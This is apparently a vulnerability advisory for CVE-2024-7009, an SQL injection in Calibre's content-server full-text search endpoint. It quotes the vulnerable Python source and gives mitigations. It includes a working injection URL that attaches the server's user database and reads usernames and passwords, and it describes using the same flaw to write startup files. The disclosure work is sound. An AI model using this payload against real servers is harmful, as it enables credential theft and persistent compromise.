Summary
Product | Calibre |
---|---|
Vendor | Calibre |
Severity | Medium |
Affected Versions | <= 7.15.0 (latest version as of writing) |
Tested Versions | 7.15.0 |
CVE Identifier | CVE-2024-7009 |
CWE Classification(s) | CWE-89 Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) |
CAPEC Classification(s) | CAPEC-66 SQL Injection |
CVSS3.1 Scoring System
Base Score: 4.2 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | High |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | Low |
Integrity (I) | Low |
Availability (A) | None |
Product Overview
Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.
Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time.
Vulnerability Summary
A user with privileges to perform full-text searches on any Calibre library on the content server can inject arbitrary SQL code into the search query. This can be used to extract sensitive information from any SQLite databases on the server’s filesystem, as well as the ability to perform limited file writes to the filesystem.
Vulnerability Details
In src/calibre/srv/fts.py
, the /fts/snippets/{book_ids}
endpoint is defined.
@endpoint('/fts/snippets/{book_ids}', postprocess=json)
def fts_snippets(ctx, rd, book_ids):
'''
Perform the specified full text query and return the results with snippets restricted to the specified book ids.
Optional: ?query=<search query>&library_id=<default library>&use_stemming=<y or n>
&query_id=arbitrary&snippet_size=32&highlight_start=\x1c&highlight_end=\x1e
'''
db = get_library_data(ctx, rd)[0]
if not db.is_fts_enabled():
raise HTTPPreconditionRequired('Full text searching is not enabled on this library')
# ...
from calibre.db import FTSQueryError
sanitize_pat = re.compile(r'\s+')
try:
for x in db.fts_search(
query, use_stemming=use_stemming, return_text=True,
highlight_start=rd.query.get('highlight_start', '\x1c'), highlight_end=rd.query.get('highlight_end', '\x1e'),
restrict_to_book_ids=bids, snippet_size=ssz,
):
r = snippets[x['book_id']]
q = sanitize_pat.sub('', x['text'])
r.setdefault(q, {'formats': [], 'text': x['text'],})['formats'].append(x['format'])
except FTSQueryError as e:
raise HTTPUnprocessableEntity(str(e))
ans['snippets'] = {bid: tuple(v.values()) for bid, v in snippets.items()}
return ans
Tracing the call to db.fts_search
, we eventually land in src/calibre/db/fts/connect.py
:
def search(self,
fts_engine_query, use_stemming, highlight_start, highlight_end, snippet_size, restrict_to_book_ids,
return_text=True, process_each_result=None
):
if restrict_to_book_ids is not None and not restrict_to_book_ids:
return
fts_engine_query = unicode_normalize(fts_engine_query)
fts_table = 'books_fts' + ('_stemmed' if use_stemming else '')
if return_text:
text = 'books_text.searchable_text'
if highlight_start is not None and highlight_end is not None:
if snippet_size is not None:
text = f'''snippet("{fts_table}", 0, '{highlight_start}', '{highlight_end}', '…', {max(1, min(snippet_size, 64))})''' # [1]
else:
text = f'''highlight("{fts_table}", 0, '{highlight_start}', '{highlight_end}')'''
text = ', ' + text
else:
text = ''
query = 'SELECT {0}.id, {0}.book, {0}.format {1} FROM {0} '.format('books_text', text)
query += f' JOIN {fts_table} ON fts_db.books_text.id = {fts_table}.rowid'
query += ' WHERE '
data = []
conn = self.get_connection()
temp_table_name = ''
if restrict_to_book_ids:
temp_table_name = f'fts_restrict_search_{next(self.temp_table_counter)}'
conn.execute(f'CREATE TABLE temp.{temp_table_name}(x INTEGER)')
conn.executemany(f'INSERT INTO temp.{temp_table_name} VALUES (?)', tuple((x,) for x in restrict_to_book_ids))
query += f' fts_db.books_text.book IN temp.{temp_table_name} AND '
query += f' "{fts_table}" MATCH ?'
data.append(fts_engine_query)
query += f' ORDER BY {fts_table}.rank '
if temp_table_name:
query += f'; DROP TABLE temp.{temp_table_name}'
try:
for record in conn.execute(query, tuple(data)):
result = {
'id': record[0],
'book_id': record[1],
'format': record[2],
'text': record[3] if return_text else '',
}
if process_each_result is not None:
result = process_each_result(result)
ret = yield result
if ret is True:
break
except apsw.SQLError as e:
raise FTSQueryError(fts_engine_query, query, e) from e
At no point are the highlight_start
and highlight_end
parameters sanitized. This allows an attacker to inject arbitrary SQL code into the highlight_start
and highlight_end
parameters at [1], which are then used in the query
string. This can be seen by attempting to use a single quote in the highlight_end
parameter:
Injecting into this database is of little worth to an attacker, as the database is not used for anything other than full-text search. However, the SQLite3 engine allows for data to be read from other databases on the filesystem, such as the server-users.sqlite
file which contains the username and password information used for authentication to the content server. This can be done by using the ATTACH
command to attach the database to the current connection, and then querying the table. For instance, consider a server setup where there is a privileged user testacc
with write access and a non-privileged user nonprivacc
with read-only access, including full-text search access to the “Calibre Library” library. If the non-privileged user knows the location of the server-users.sqlite
file (on Windows, this is typically in %AppData%, requiring the attacker to know the user profile name), they can access the username and password data through the following URL:
http://CALIBRE_SERVER/fts/snippets/1?library_id=Calibre_Library&query=C&query_id=1&highlight_end=','',32) FROM books_text JOIN books_fts_stemmed ON fts_db.books_text.id = books_fts_stemmed.rowid WHERE "books_fts_stemmed" MATCH ?; attach 'C:\Users\Devesh\AppData\Roaming\calibre\server-users.sqlite' as suwu; select 1,1,name,pw from suwu.users;-- -
It is similarly possible to use the ATTACH DATABASE command on a non-existing filename to write data to the filesystem, albeit in a limited fashion. This could be used to, for instance, write a batch file to the user’s startup folder that will be executed on the next operating system login.
Suggested Mitigations
The highlight_start
and highlight_end
parameters should be sanitized before being used in the query string. This can be done by escaping any single quotes in the parameters. Parameterised queries, if possible, should be used for these values.
Credits
Devesh Logendran of STAR Labs SG Pte. Ltd. (@starlabs_sg)